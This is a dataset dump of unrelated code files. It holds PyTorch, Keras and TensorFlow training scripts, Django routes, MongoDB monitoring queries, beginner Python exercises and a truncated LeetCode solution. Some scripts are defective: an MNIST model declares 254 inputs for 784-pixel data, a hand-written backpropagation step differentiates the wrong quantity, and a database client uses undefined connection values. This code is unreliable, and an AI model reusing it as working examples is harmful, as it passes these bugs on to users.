parser.parse_args()\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\nprint('==> Preparing data..')\n\ncriterion = nn.CrossEntropyLoss()\n\nprint('==> Creating networks..')\nlstm = LSTM1().to(device)\nlstm.load_state_dict(torch.load(\"./weights/networkbertlstm1_train.ckpt\"))\nparams = lstm.parameters()\noptimizer = optim.Adam(params, lr=args.lr, weight_decay=1e-5)\n\nprint('==> Loading data..')\ntrainset = SentenceDataset()\ntestset = SentenceDataset(test = True)\n\ndef train_lstm1(currepoch, epoch):\n dataloader = DataLoader(trainset, batch_size=args.batch_size, shuffle=True)\n dataloader = iter(dataloader)\n print('\\n=> Epoch: %d' % currepoch)\n \n train_loss, correct, total = 0, 0, 0\n\n for batch_idx in range(len(dataloader)):\n premise, hypothesis, label = next(dataloader)\n if(batch_idx==len(dataloader)-1):\n continue\n premise, hypothesis, label = premise.to(device), hypothesis.to(device), label.to(device)\n optimizer.zero_grad()\n y_pred = lstm(premise, hypothesis)\n\n loss = criterion(y_pred, label)\n #print(y_pred, targets)\n loss.backward()\n optimizer.step()\n\n train_loss += loss.item()\n _, predicted = y_pred.max(1)\n total += label.size(0)\n correct += predicted.eq(label).sum().item()\n\n with open(\"./logs/bertlstm1_train_loss.log\", \"a+\") as lfile:\n lfile.write(\"{}\\n\".format(train_loss / total))\n\n with open(\"./logs/bertlstm1_train_acc.log\", \"a+\") as afile:\n afile.write(\"{}\\n\".format(correct / total))\n\n del premise\n del hypothesis\n del label\n gc.collect()\n torch.cuda.empty_cache()\n torch.save(lstm.state_dict(), './weights/networkbertlstm1_train.ckpt')\n with open(\"./information/bertlstm1_info.txt\", \"w+\") as f:\n f.write(\"{} {}\".format(currepoch, batch_idx))\n print('Batch: [%d/%d], Loss: %.3f, Train Loss: %.3f , Acc: %.3f%% (%d/%d)' % (batch_idx, len(dataloader), loss.item(), train_loss/(batch_idx+1), 100.0*correct/total, correct, total), end='\\r')\n\n torch.save(lstm.state_dict(), './checkpoints/networkbertlstm1_train_epoch_{}.ckpt'.format(currepoch + 1))\n print('\\n=> Classifier Network : Epoch [{}/{}], Loss:{:.4f}'.format(currepoch+1, epoch, train_loss / len(dataloader)))\n\ndef test_lstm1(currepoch, epoch):\n dataloader = DataLoader(testset, batch_size=args.batch_size, shuffle=True)\n dataloader = iter(dataloader)\n print('\\n=> Testing Epoch: %d' % currepoch)\n \n test_loss, correct, total = 0, 0, 0\n\n for batch_idx in range(len(dataloader)):\n premise, hypothesis, label = next(dataloader)\n if(batch_idx==len(dataloader)-1):\n continue\n premise, hypothesis, label = premise.to(device), hypothesis.to(device), label.to(device)\n \n y_pred = lstm(premise, hypothesis)\n\n loss = criterion(y_pred, label)\n\n test_loss += loss.item()\n _, predicted = y_pred.max(1)\n total += label.size(0)\n correct += predicted.eq(label).sum().item()\n\n with open(\"./logs/bertlstm1_test_loss.log\", \"a+\") as lfile:\n lfile.write(\"{}\\n\".format(test_loss / total))\n\n with open(\"./logs/bertlstm1_test_acc.log\", \"a+\") as afile:\n afile.write(\"{}\\n\".format(correct / total))\n\n del premise\n del hypothesis\n del label\n gc.collect()\n torch.cuda.empty_cache()\n print('Batch: [%d/%d], Loss: %.3f, Train Loss: %.3f , Acc: %.3f%% (%d/%d)' % (batch_idx, len(dataloader), loss.item(), test_loss/(batch_idx+1), 100.0*correct/total, correct, total), end='\\r')\n\n print('\\n=> Classifier Network Test: Epoch [{}/{}], Loss:{:.4f}'.format(currepoch+1, epoch, test_loss / len(dataloader)))\n\nprint('==> Training starts..')\nfor epoch in range(args.epochs):\n test_lstm1(epoch, args.epochs)\n train_lstm1(epoch, args.epochs)\n \n","sub_path":"train_bert_lstm1.py","file_name":"train_bert_lstm1.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"432516086","text":"from keras import backend as K\nfrom keras import callbacks\nfrom keras_autoencoder import make_autoencoder_model, make_predictor, \\\n train_predictor, train_encoder\nimport config\nimport gc\nimport debug\nimport os.path\n\nencoded_size = 128\n# patch_size = (32, 32, 5)\nimage_samples = 30000\nonehot = True\naugment = True\n\nweights_path = config.weights_path\n\n\ndef train_encoder2(model, args):\n ae_weights_path = weights_path % (\n \"ae\", args.normalize, args.median_time, augment, args.close_size)\n print(ae_weights_path)\n\n if os.path.isfile(ae_weights_path):\n model.load_weights(ae_weights_path)\n else:\n print(\"autoencoder not found. training autoencoder.\")\n train_encoder(model, args)\n\n\ndef run(earlyStopping):\n autoencoder = make_autoencoder_model(args)\n\n train_encoder2(autoencoder, args)\n gc.collect()\n\n predictor = make_predictor(args, autoencoder)\n\n predictor.summary()\n\n args.learning_rate = args.learning_rate * 10000\n data_model = train_predictor(predictor, args, earlyStopping=earlyStopping)\n\n debug.test_model(predictor, data_model, args, \"semi\")\n\n K.clear_session()\n\n\nif __name__ == '__main__':\n\n args = config.get_args(\"autoencoder\")\n # print(args)\n\n earlyStopping = callbacks.EarlyStopping(\n monitor='val_loss', patience=5, verbose=0, mode='auto')\n run_name = args.run_name\n args.use_saved_weights = 0\n args.train = 1\n for i in range(1):\n args.run_name = run_name\n run(earlyStopping)\n","sub_path":"src/keras_autoencoder2.py","file_name":"keras_autoencoder2.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"256299112","text":"\"\"\" Payment-related URLs \"\"\"\nfrom django.conf.urls import url\n\nfrom ecommerce.extensions.payment import views\n\nurlpatterns = [\n url(r'^netbanx/notify/$', views.NetbanxNotifyView.as_view(), name='netbanx_notify'),\n url(r'^cybersource/notify/$', views.CybersourceNotifyView.as_view(), name='cybersource_notify'),\n url(r'^paypal/execute/$', views.PaypalPaymentExecutionView.as_view(), name='paypal_execute'),\n url(r'^paypal/profiles/$', views.PaypalProfileAdminView.as_view(), name='paypal_profiles'),\n]\n","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"363531394","text":"#!/usr/bin/python\nfrom scenarios.jazz_generic_details import get_stack_generic_details\n\nfrom scenarios import stack_with_bb_jenkins as option1\nfrom scenarios import stack_with_bb_dockerized_jenkins as option2\nfrom scenarios import stack_with_dockerized_gitlab_jenkins as option3\n\n# Global Variables\nOPTIONS = {\n 1: [\"\\t1: Stack with existing Bitbucket and Jenkins\", option1],\n 2: [\"\\t2: Stack with existing Bitbucket and Jenkins in container\", option2],\n 3: [\"\\t3: Stack with Gitlab and Jenkins in container\", option3]\n}\n\n\ndef is_valid_scenario(option):\n return (option in OPTIONS)\n\n\ndef print_stack_options():\n for key, value in OPTIONS.iteritems():\n option_string = value[0]\n print(option_string)\n\n\ndef execute(key, git_branch_name):\n if not is_valid_scenario(key):\n return\n parameter_list = get_stack_generic_details(git_branch_name)\n OPTIONS[key][1].start(parameter_list)\n","sub_path":"installscripts/wizard/jazz_scenarios.py","file_name":"jazz_scenarios.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"414263951","text":"from __future__ import absolute_import, division, print_function\nfrom copy import deepcopy\n# from skimage.io import imread\nfrom cv2 import imread\nfrom model_pwcnet import ModelPWCNet, _DEFAULT_PWCNET_TEST_OPTIONS\nfrom visualize import zmf_save_flows\nimport rawpy\nimport numpy as np\nimport glob,os,sys\nimport matplotlib.image as mp\nimport cv2 as cv\n\ngpu_devices = ['/device:GPU:0'] \ncontroller = '/device:GPU:0'\n\n# TODO: Set the path to the trained model (make sure you've downloaded it first from http://bit.ly/tfoptflow)\n# au\n# ckpt_path1 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/FC/au/pwcnet.ckpt-595000'\nckpt_path1 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/FC/me/pwcnet.ckpt-50000'\n# cvpr\nckpt_path2 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/DFC/cvpr_halfwhite/pwcnet.ckpt-50000'\n# gauss\nckpt_path3 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/DFC/gauss020/pwcnet.ckpt-50000'\n# real\nckpt_path4 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/Real/zmf-scratch/pwcnet.ckpt-43000'\n# finetune\nckpt_path5 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/Finetune/FCau_VBOF/pwcnet.ckpt-46000'\n# mix\nckpt_path6 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/Mix/FC_Real/pwcnet.ckpt-48000'\n# temp\nckpt_path7 = '/home/zhangmf/Documents/data/checkpoints/Optical_Flow/PWCNet/Mix/DFC_halfReal_long/pwcnet.ckpt-490000'\n\nckpt_path = ckpt_path7\n# save_addr = '../realcar/mix_dfc_halfreal_allcameras/' # don't worry if you didn't create it yet\nsave_addr = '../intensity/allmight_people/'\n\nimg_pairs = []\nnames = []\n\n# PNG\n# image_path1 = '../../../workplace/1-prove-bad/eva/eva-base/my-simple/6_scale_img1.png'\n# image_path2 = '../../../workplace/1-prove-bad/eva/eva-base/my-simple/6_scale_img2.png'\n# image_path1 = '../../../data/dataset/newOptFlow/1/(1).JPG'\n# image_path2 = '../../../data/dataset/newOptFlow/2/(1).JPG'\n# image1, image2 = imread(image_path1), imread(image_path2)\n# img_pairs.append((image1, image2))\n\n# TODO \n# allimg1 = glob.glob('../../../data_all_nikon_half_99/*_img1.jpg')\n# allimg2 = glob.glob('../../../data_all_nikon_half_99/*_img2.jpg')\n# allimg1 = glob.glob('../../../YOMO-half/fig1/*_img1.jpg')\n# allimg2 = glob.glob('../../../YOMO-half/fig1/*_img2.jpg')\nallimg1 = glob.glob('../../../realpeople_data_half/*_img1.jpg')\nallimg2 = glob.glob('../../../realpeople_data_half/*_img2.jpg')\nallimg1.sort()\nallimg2.sort()\n\nlength = len(allimg1)\nif length > 1000: length = 1000\nfor i in range(length):\n image_path1 = allimg1[i]\n image_path2 = allimg2[i]\n\n image1, image2 = imread(image_path1), imread(image_path2)\n img_pairs.append((image1, image2))\n bname = os.path.basename(image_path1)\n bnum = bname[0:10]\n n = '%s_flow.flo'%bnum # 4100102001_img2\n names.append(n)\n\n\n\n# Configure the model for inference, starting with the default options\nnn_opts = deepcopy(_DEFAULT_PWCNET_TEST_OPTIONS)\nnn_opts['verbose'] = True\nnn_opts['ckpt_path'] = ckpt_path\nnn_opts['batch_size'] = 1\nnn_opts['gpu_devices'] = gpu_devices\nnn_opts['controller'] = controller\n\n# We're running the PWC-Net-large model in quarter-resolution mode\n# That is, with a 6 level pyramid, and upsampling of level 2 by 4 in each dimension as the final flow prediction\nnn_opts['use_dense_cx'] = True\nnn_opts['use_res_cx'] = True\nnn_opts['pyr_lvls'] = 6\nnn_opts['flow_pred_lvl'] = 2\n\n# The size of the images in this dataset are not multiples of 64, while the model generates flows padded to multiples\n# of 64. Hence, we need to crop the predicted flows to their original size\nnn_opts['adapt_info'] = (1, 436, 1024, 2)\n\nnn = ModelPWCNet(mode='test', options=nn_opts)\n# nn.print_config()\n\npred_labels = nn.predict_from_img_pairs(img_pairs[0:50], batch_size=1, verbose=False)\nzmf_save_flows(names[0:50], pred_labels, save_addr)\nprint(1)\npred_labels = nn.predict_from_img_pairs(img_pairs[50:100], batch_size=1, verbose=False)\nzmf_save_flows(names[50:100], pred_labels, save_addr)\nprint(2)\npred_labels = nn.predict_from_img_pairs(img_pairs[100:150], batch_size=1, verbose=False)\nzmf_save_flows(names[100:150], pred_labels, save_addr)\nprint(3)\npred_labels = nn.predict_from_img_pairs(img_pairs[150:200], batch_size=1, verbose=False)\nzmf_save_flows(names[150:200], pred_labels, save_addr)\nprint(4)\npred_labels = nn.predict_from_img_pairs(img_pairs[200:250], batch_size=1, verbose=False)\nzmf_save_flows(names[200:250], pred_labels, save_addr)\nprint(5)\npred_labels = nn.predict_from_img_pairs(img_pairs[250:300], batch_size=1, verbose=False)\nzmf_save_flows(names[250:300], pred_labels, save_addr)\nprint(6)\npred_labels = nn.predict_from_img_pairs(img_pairs[300:350], batch_size=1, verbose=False)\nzmf_save_flows(names[300:350], pred_labels, save_addr)\nprint(7)\npred_labels = nn.predict_from_img_pairs(img_pairs[350:400], batch_size=1, verbose=False)\nzmf_save_flows(names[350:400], pred_labels, save_addr)\nprint(8)\npred_labels = nn.predict_from_img_pairs(img_pairs[400:450], batch_size=1, verbose=False)\nzmf_save_flows(names[400:450], pred_labels, save_addr)\nprint(9)\npred_labels = nn.predict_from_img_pairs(img_pairs[450:500], batch_size=1, verbose=False)\nzmf_save_flows(names[450:500], pred_labels, save_addr)\nprint(10)\npred_labels = nn.predict_from_img_pairs(img_pairs[500:550], batch_size=1, verbose=False)\nzmf_save_flows(names[500:550], pred_labels, save_addr)\nprint(11)\npred_labels = nn.predict_from_img_pairs(img_pairs[550:600], batch_size=1, verbose=False)\nzmf_save_flows(names[550:600], pred_labels, save_addr)\nprint(12)\npred_labels = nn.predict_from_img_pairs(img_pairs[600:650], batch_size=1, verbose=False)\nzmf_save_flows(names[600:650], pred_labels, save_addr)\nprint(13)\npred_labels = nn.predict_from_img_pairs(img_pairs[650:700], batch_size=1, verbose=False)\nzmf_save_flows(names[650:700], pred_labels, save_addr)\nprint(14)\npred_labels = nn.predict_from_img_pairs(img_pairs[700:750], batch_size=1, verbose=False)\nzmf_save_flows(names[700:750], pred_labels, save_addr)\nprint(15)\npred_labels = nn.predict_from_img_pairs(img_pairs[750:800], batch_size=1, verbose=False)\nzmf_save_flows(names[750:800], pred_labels, save_addr)\nprint(16)\npred_labels = nn.predict_from_img_pairs(img_pairs[800:850], batch_size=1, verbose=False)\nzmf_save_flows(names[800:850], pred_labels, save_addr)\nprint(17)\npred_labels = nn.predict_from_img_pairs(img_pairs[850:900], batch_size=1, verbose=False)\nzmf_save_flows(names[850:900], pred_labels, save_addr)\nprint(18)\npred_labels = nn.predict_from_img_pairs(img_pairs[900:950], batch_size=1, verbose=False)\nzmf_save_flows(names[900:950], pred_labels, save_addr)\nprint(19)\npred_labels = nn.predict_from_img_pairs(img_pairs[950:1000], batch_size=1, verbose=False)\nzmf_save_flows(names[950:1000], pred_labels, save_addr)\nprint(20)\n","sub_path":"tfoptflow/zmf_test_2020.py","file_name":"zmf_test_2020.py","file_ext":"py","file_size_in_byte":6777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"444474500","text":"import pymongo\nfrom pymongo import MongoClient\nimport datetime\nfrom bson.son import SON\n\n\nclient = MongoClient(ip, port)\ndb = client.jk\nSORT = {'$sort': SON([('_id', pymongo.DESCENDING)])}\n\n\ndef get_mem(uuid, time_match):\n result_dict = {'time': [], 'data': []}\n collection = db[uuid]\n mem = collection.aggregate([time_match, {'$group': {'_id': '$_id', 'time': {'$first': '$time'}, 'data': {'$first':'$memstat.used'}}}, SORT])\n for i in mem:\n result_dict['data'].append(i['data'])\n result_dict['time'].append(datetime.datetime.strftime(i['time'], '%Y-%m-%d %H:%M'))\n mem_total = collection.find_one()['memstat']['total']\n result_dict.update({'total': mem_total})\n return result_dict\n\ndef get_cpu(uuid, time_match):\n result_dict = {'time': [], 'data': []}\n collection = db[uuid]\n cpu = collection.aggregate([time_match, {'$group': {'_id': '$_id', 'time': {'$first': '$time'}, 'data': {'$first':'$cpuusage.usage'}}}, SORT])\n for i in cpu:\n result_dict['data'].append(i['data'][0])\n result_dict['time'].append(datetime.datetime.strftime(i['time'], '%Y-%m-%d %H:%M'))\n return result_dict\n\n\ndef get_process(uuid, time_match):\n result_dict = {'time': [], 'data': []}\n collection = db[uuid]\n process = collection.aggregate([time_match, {'$group': {'_id': '$_id', 'time': {'$first': '$time'}, 'data': {'$first':'$processinfo.count'}}}, SORT])\n for i in process:\n result_dict['data'].append(i['data'])\n result_dict['time'].append(datetime.datetime.strftime(i['time'], '%Y-%m-%d %H:%M'))\n return result_dict\n\n\ndef get_receive_netspeed(uuid, time_match):\n return get_netspeed(uuid, time_match, 'receive')\n\n\ndef get_transmit_netspeed(uuid, time_match):\n return get_netspeed(uuid, time_match, 'transmit')\n\n\ndef get_netspeed(uuid, time_match, switch):\n mapping = {'transmit': '$netspeed.transmit_byte_speed', 'receive': '$netspeed.receive_byte_speed'}\n switch = mapping[switch]\n collection = db[uuid]\n result_dict = {'time': [], 'data': []}\n unwind = {'$unwind': '$netspeed'}\n match = {'$match': { 'netspeed.devname': 'eth0' }}\n group = {'$group': {'_id': '$_id', 'buffer': {'$push': switch}, 'time': {'$first': '$time'}}}\n sort = {'$sort': SON([('_id', -1)])}\n reverse = {'$sort': SON([('_id', 1)])}\n netspeed = collection.aggregate([sort, time_match, unwind, match, group, reverse])\n for i in netspeed:\n result_dict['data'].append(i['buffer'][0])\n result_dict['time'].append(datetime.datetime.strftime(i['time'], '%Y-%m-%d %H:%M'))\n return result_dict\n\n\ndef get_read_disk(uuid, time_match):\n return get_disk(uuid, time_match, 'read')\n\n\ndef get_write_disk(uuid, time_match):\n return get_disk(uuid, time_match, 'write')\n\n\ndef get_disk(uuid, time_match, switch):\n mapping = {'read': '$diskstat.statistics.speed_kb_read', 'write': '$diskstat.statistics.speed_kb_write'}\n switch = mapping[switch]\n collection = db[uuid]\n result_dict = {'data': {}, 'dev_list': []}\n unwind = {'$unwind': '$diskstat'}\n match = {'$match': { 'diskstat.devname': {'$regex': 'vd|disk'}}}\n group = {'$group': {'_id': '$_id', 'dev': {'$push': '$diskstat.devname'}, 'speed': {'$push': switch}, 'time': {'$push': '$time'}}}\n sort = {'$sort': SON([('_id', -1)])}\n reverse = {'$sort': SON([('_id', 1)])}\n diskspeed = collection.aggregate([sort, time_match, unwind, match, group, sort, reverse])\n for i in diskspeed:\n for z in zip(i['speed'], i['dev'], i['time']):\n speed, devname, time = z\n if not result_dict['data'].has_key(devname):\n result_dict['dev_list'].append(devname)\n result_dict['data'][devname] = {'data': [], 'time': []}\n result_dict['data'][devname]['data'].append(speed)\n result_dict['data'][devname]['time'].append(datetime.datetime.strftime(time, '%Y-%m-%d %H:%M'))\n return result_dict\n\ndef get_all(uuid, time_match):\n collection = db[uuid]\n result = list(collection.aggregate([time_match]))\n return result\n\n\nentry = dict(mem=get_mem, cpu=get_cpu, disk_read=get_read_disk, disk_write=get_write_disk,\n net_receive=get_receive_netspeed, net_transmit=get_transmit_netspeed, process=get_process, all_data=get_all)\n\n\ndef get_data(option, uuid, d=None, h=None):\n end = datetime.datetime.now()\n try:\n if d:\n start = end - datetime.timedelta(days=d)\n elif h:\n start = end - datetime.timedelta(hours=h)\n time_match = {'$match': {'time': {'$gt': start, '$lt': end}}}\n result = entry[option](uuid, time_match)\n except Exception:\n result = {}\n return result\n\n\n\n\n","sub_path":"guest_data_time.py","file_name":"guest_data_time.py","file_ext":"py","file_size_in_byte":4683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"232216095","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 27 23:36:14 2018\n\n@author: chanheelee\n\"\"\"\nimport sys, os\nimport numpy as np\nos.chdir(\"/Users/chanheelee/Desktop/MNIST\")\n\n# 데이터 불러오기\ntest = np.loadtxt('mnist_test.csv',delimiter=',', dtype=np.float32)\ndata = np.loadtxt('mnist_train.csv',delimiter=',', dtype=np.float32)\n\nimport random\nnp.random.shuffle(data)\nnp.random.shuffle(test)\n\n\nimport tensorflow as tf\n\nX_data = data[:, 1:]\nX_data = X_data/255\nnp.shape(X_data)\nY_data = data[:,0]\nnp.shape(Y_data)\nY_data = np.reshape(Y_data, [60000,1])\nnp.shape(Y_data)\nX = tf.placeholder(tf.float32, shape=[None, 254])\nY = tf.placeholder(tf.int32, shape=[None, 1])\nY_one = tf.one_hot(Y, 10)\nY_one = tf.reshape(Y_one, [-1,10])\nkeep_prob=tf.placeholder(tf.float32)\nY_data\n\nW1 = tf.get_variable(\"newW1z3z1zzes1az1\",shape=[254,178], initializer=tf.contrib.layers.variance_scaling_initializer())\nb1 = tf.Variable(tf.random_normal([178]))\nL1 = tf.nn.leaky_relu(tf.matmul(X, W1)+b1)\nL1 = tf.nn.dropout(L1, keep_prob)\n\nW2 = tf.get_variable(\"newW2z2zzeszza1a3z2\",shape=[178,178], initializer=tf.contrib.layers.variance_scaling_initializer())\nb2 = tf.Variable(tf.random_normal([178]))\nL2 = tf.nn.leaky_relu(tf.matmul(L1, W2)+b2)\nL2 = tf.nn.dropout(L2, keep_prob)\n\nW3 = tf.get_variable(\"newW3z33s3edzz3a3dp33\",shape=[178,254], initializer=tf.contrib.layers.variance_scaling_initializer())\nb3 = tf.Variable(tf.random_normal([254]))\nL3 = tf.nn.leaky_relu(tf.matmul(L2, W3)+b3)\nL3 = tf.nn.dropout(L3, keep_prob)\n\nW4 = tf.get_variable(\"newW3sz333edadzza33dp33\",shape=[254,254*2], initializer=tf.contrib.layers.variance_scaling_initializer())\nb4 = tf.Variable(tf.random_normal([254*2]))\nL4 = tf.nn.leaky_relu(tf.matmul(L3, W4)+b4)\nL4 = tf.nn.dropout(L4, keep_prob)\n\nW5 = tf.get_variable(\"neawaW3z333eddzz3a3dpdaa33\",shape=[254*2,254*4], initializer=tf.contrib.layers.variance_scaling_initializer())\nb5 = tf.Variable(tf.random_normal([254*4]))\nL5 = tf.nn.leaky_relu(tf.matmul(L4, W5)+b5)\nL5 = tf.nn.dropout(L5, keep_prob)\n\nW6 = tf.get_variable(\"newW3ddz333eddzaza33zadp3a3\",shape=[254*4,10], initializer=tf.contrib.layers.variance_scaling_initializer())\nb6 = tf.Variable(tf.random_normal([10]))\n\n\n# 가설 및 코스트 함수 설정\nlogits=tf.matmul(L5, W6)+b6\nH = tf.nn.softmax(logits)\ncost_i = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=Y_one)\ncost = tf.reduce_mean(cost_i)\ntrain_Adam = tf.train.AdamOptimizer(learning_rate=0.005).minimize(cost)\n\ncorrect = tf.equal(tf.argmax(logits,1), tf.argmax(Y_one,1))\naccuracy = tf.reduce_mean(tf.cast(correct,tf.float32))\n\n# 배치 학습\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n\nbatch_size = 600 # 배치 사이즈 지정\ntraining_epochs =30000 # epoch 횟수 지정\n\n# epoch 횟수만큼 반복\nfor epoch in range(training_epochs) :\n avg_cost = 0\n batch_count = int(X_data.shape[0]/batch_size) # 배치의 갯수\n \n for i in range(batch_count) : # 배치를 순차적으로 읽는 루프\n batch_xs, batch_ys = X_data[i*batch_size:i*batch_size+batch_size], Y_data[i*batch_size:i*batch_size+batch_size] \n c, _ = sess.run([cost,train_Adam], feed_dict = {X : batch_xs, Y : batch_ys, keep_prob : 0.85})\n avg_cost+= c/batch_count\n print('Epoch:', '%04d'%(epoch+1), 'cost=', '{:.9f}'.format(avg_cost))\n \n\n# test set 지정\nX_test = test[:,1:]/255\nX_test\nnp.shape(X_test)\nY_test = test[:,0]\nY_test = np.reshape(Y_test, [10000,1])\nfeed2 = {X:X_test, Y:Y_test, keep_prob : 1}\n \n\n# test set performance \nAccuracy_train = sess.run([accuracy], feed_dict={X : X_data, Y : Y_data, keep_prob : 1})\nAccuracy_test = sess.run([accuracy], feed_dict=feed2)\n\nAccuracy_train\nAccuracy_test\n","sub_path":".gitignore/최종모델.py","file_name":"최종모델.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"425915706","text":"# -*- coding: utf-8 -*-\nimport math\ndef my_abs(x):\n if not isinstance(x, (int, float)):\n raise TypeError('bad operand type')\n if x >= 0:\n return x\n else:\n return -x\nprint(my_abs(-1))\n\n# excise\n\ndef quadratic(a, b, c):\n if math.pow(b, 2) - 4 * a * c < 0:\n return 'wrong input'\n d = math.sqrt(math.pow(b, 2) - 4 * a * c)\n x1 = (-b + d) / (2 * a)\n x2 = (-b - d) / (2 * a)\n return x1, x2\n\nprint(quadratic(2, 3, 1))\nprint(quadratic(1, 1, 1))\n\ndef power(a, n = 2):\n s = 1\n while n > 0:\n s *= a\n n -= 1\n return s\nprint(power(10, 3))\ndef add_end(L = None):\n if L is None:\n L = []\n L.append('end')\n return L\nprint(add_end([1,2,3,4]))\nprint(add_end([1,2,3,4]))\nprint(add_end())\nprint(add_end())\n\ndef calc(*numbers):\n sum = 0\n for num in numbers:\n sum += num\n return sum\nnums = (1,2,3)\nprint(calc(*nums))\n\n# keyword arguments\nprint('----------------------')\ndef person(name, age, **kw):\n print('name:', name)\n print('age:', age)\n print('other:', kw)\nperson('cnsumi', 22, city = 'beijing', gender = 'male')","sub_path":"function/define.py","file_name":"define.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"431265597","text":"# usr/bin/env python\r\n\r\nimport numpy as np\r\n\r\n\r\nclass NeuralNetwork:\r\n def __init__(self):\r\n # * parameters\r\n self.inputSize = 2\r\n self.outputSize = 1\r\n self.hiddenSize = 3\r\n\r\n # * weights\r\n # (3x2) weight matrix from input to hidden layer\r\n self.W1 = np.random.randn(self.inputSize, self.hiddenSize)\r\n # (3x1) weight matrix from hidden layer to output\r\n self.W2 = np.random.randn(self.hiddenSize, self.outputSize)\r\n\r\n def forward(self, x):\r\n # * forward propagation through out network\r\n # dot product of x (input) and first set of 3x2 matrix\r\n self.z = np.dot(x, self.W1)\r\n # activation function\r\n self.z2 = self.sigmoid(self.z)\r\n # dot product of hidden layer (z2) and second set of 3x1 matrix\r\n self.z3 = np.dot(self.z2, self.W2)\r\n # final activation function\r\n o = self.sigmoid(self.z3)\r\n return o\r\n\r\n def sigmoid(self, s):\r\n # activation function\r\n return 1/(1+np.exp(-s))\r\n\r\n def sigmoidPrime(self, s):\r\n # derivative of sigmoid\r\n return s * (1-s)\r\n\r\n def backward(self, x, y, o):\r\n # backward propogate through the network\r\n self.o_error = y - o # error in output\r\n # applaying derivate of sigmoid to error\r\n self.o_delta = self.o_error * self.sigmoidPrime(o)\r\n\r\n # z2 error: how much our hidden layer weights contribuited to output\r\n self.z2_error = self.o_delta.dot(self.W2.T)\r\n # applaying derivate of sigmoid to z2 error\r\n self.z2_delta = self.z2_error * self.sigmoidPrime(self.z2_error)\r\n\r\n # adjusting first set (input ---> hidden) weights\r\n self.W1 += x.T.dot(self.z2_delta)\r\n # adjusting second set (hidden ---> output) weights\r\n self.W2 += self.z2.T.dot(self.o_delta)\r\n\r\n def train(self, x, y):\r\n o = self.forward(x)\r\n self.backward(x, y, o)\r\n\r\n def saveWeights(self):\r\n np.savetxt(\"w1.txt\", self.W1, fmt=\"%s\")\r\n np.savetxt(\"w2.txt\", self.W2, fmt=\"%s\")\r\n\r\n def predict(self):\r\n print(\"Predicted data based on trained weights: \")\r\n print(\"Input (scaled): \\n\" + str(xPredicted))\r\n print(\"Output: \\n\" + str(self.forward(xPredicted)))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # x = (hours sleeping, hours studying), y = score on test\r\n x = np.array(([2, 9], [1, 5], [3, 6]), dtype=float)\r\n y = np.array(([92], [86], [89]), dtype=float)\r\n xPredicted = np.array((4, 8), dtype=float)\r\n\r\n # scale units\r\n x = x/np.amax(x, axis=0)\r\n xPredicted = xPredicted/np.amax(xPredicted, axis=0)\r\n y = y/100\r\n\r\n NN = NeuralNetwork()\r\n for i in range(10):\r\n print(\"# \" + str(i) + \"\\n\")\r\n print(\"Input (scaled): \\n\" + str(x))\r\n print(\"Actual output: \\n\" + str(y))\r\n print(\"Predicted output: \\n\" + str(NN.forward(x)))\r\n print(\"Loss: \\n\" + str(np.mean(np.square(y-NN.forward(x)))))\r\n print(\"\\n\")\r\n\r\n NN.saveWeights()\r\n NN.predict()\r\n","sub_path":"neuralNetwork.py","file_name":"neuralNetwork.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"293126327","text":"# 674-Longest_Continuous_Increasing_Subsequence_EASY.py\n\n\n# Given an unsorted array of integers, find the length of longest continuous increasing subsequence (subarray).\n\n# Example 1:\n# Input: [1,3,5,4,7]\n# Output: 3\n# Explanation: The longest continuous increasing subsequence is [1,3,5], its length is 3.\n# Even though [1,3,5,7] is also an increasing subsequence, it's not a continuous one where 5 and 7 are separated by 4.\n# Example 2:\n# Input: [2,2,2,2,2]\n# Output: 1\n# Explanation: The longest continuous increasing subsequence is [2], its length is 1.\n# Note: Length of the array will not exceed 10,000.\n\nfrom typing import List\n\nclass Solution:\n def findLengthOfLCIS(self, nums: List[int]) -> int:\n # Approach, Time & Space Complexity & Possible Improvements:\n # Approach:\n # loop through each digit with a curr_length and max_length\n # if the next digit is not larger (equal or smaller) than the current\n # then set curr_length equal to the max_length if it is larger\n # then reset the curr_length\n # Time Complexity:\n # O(N) because we go through each item, and perform O(1) operations\n # Space Complexity:\n # O(1) in extra space since we are storing a few integer counters\n # Possible improvements:\n # Stop if there are less items left than the max_length found\n # Since there aren't enough items to beat that max_length we can stop\n\n if not nums:\n return 0\n if len(nums) < 2:\n return 1\n\n curr_length = 0\n max_length = 0\n\n # loop through nums, stopping before last digit\n for idx, num in enumerate(nums[:-1]):\n\n curr_length += 1\n\n # if the next digit is equal or smaller update max length\n if nums[idx + 1] <= num:\n # only update max length if curr_length is bigger\n if curr_length > max_length:\n max_length = 